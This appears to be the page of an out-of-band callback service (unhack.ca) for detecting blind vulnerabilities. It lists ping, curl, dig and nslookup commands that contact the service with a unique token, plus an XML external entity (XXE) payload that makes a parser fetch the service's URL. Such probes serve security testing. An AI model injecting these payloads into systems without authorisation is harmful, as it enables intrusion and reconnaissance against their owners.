$ ping -c1 -p 00c7c63e5aa1baa3b98afc646cc79300 unhack.ca
 
$ curl http://unhack.ca/p/c7c63e5aa1baa3b98afc646cc793
 
$ dig c7c63e5aa1baa3b98afc646cc793 @unhack.ca
 
$ dig c7c63e5aa1baa3b98afc646cc793.ns.unhack.ca
 
C:\> nslookup c7c63e5aa1baa3b98afc646cc793 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c7c63e5aa1baa3b98afc646cc793">]>
    <foo>&xxe;</foo>
Waiting for ping...